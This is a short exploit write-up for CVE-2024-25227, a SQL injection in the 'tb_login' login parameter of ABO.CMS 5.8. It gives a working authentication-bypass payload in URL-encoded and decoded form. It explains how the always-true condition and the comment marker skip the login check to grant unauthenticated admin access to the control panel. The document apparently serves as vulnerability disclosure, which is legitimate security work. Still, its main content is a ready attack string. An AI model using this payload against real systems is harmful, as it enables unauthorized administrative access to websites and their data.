**Exploit**

CVE-2024-25227 is a ABO.CMS 5.8 SQLi vulnerability found in the parameter "tb_login"

<h2>PoC:</h2>

<h2>Details</h2>

The payload is **tb_login=27872164'%20or%202579%3d2579--%20**, this without URL encoding is:
**27872164' or 2579=2579--**

With the modified request with the payload, you are telling the backend, placeholder *"27872164'"* is combined with a condition that always evaluates to true *("2579=2579")*, and to comment the remainder of everything else out in the query with *"--"* as to ensure the modified query is injected.
This effectively bypasses any and all authentication checks related to the "tb_login" field, allowing unauthenticated access to the control panel with admin.
